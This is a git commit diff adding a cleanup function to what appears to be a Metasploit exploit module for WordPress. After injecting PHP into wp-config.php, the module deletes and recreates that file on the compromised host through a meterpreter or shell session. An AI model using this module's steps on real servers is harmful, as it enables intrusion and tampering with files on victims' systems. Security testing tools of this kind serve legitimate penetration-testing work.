Added the clean_up function

master
Julien Legras 2018-12-11 18:13:46 +01:00
parent 224e782772
commit 7e953e34b9
1 changed files with 10 additions and 0 deletions

View File

@ -141,4 +141,14 @@ class MetasploitModule < Msf::Exploit::Remote
print_error("Failed to inject PHP code in wp-config.php...")
end
end
def on_new_session(client)
if client.type.eql? 'meterpreter'
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
client.fs.file.rm 'wp-config.php'
else
client.shell_command_token 'rm wp-config.php'
end
create_wp_config_file
end
end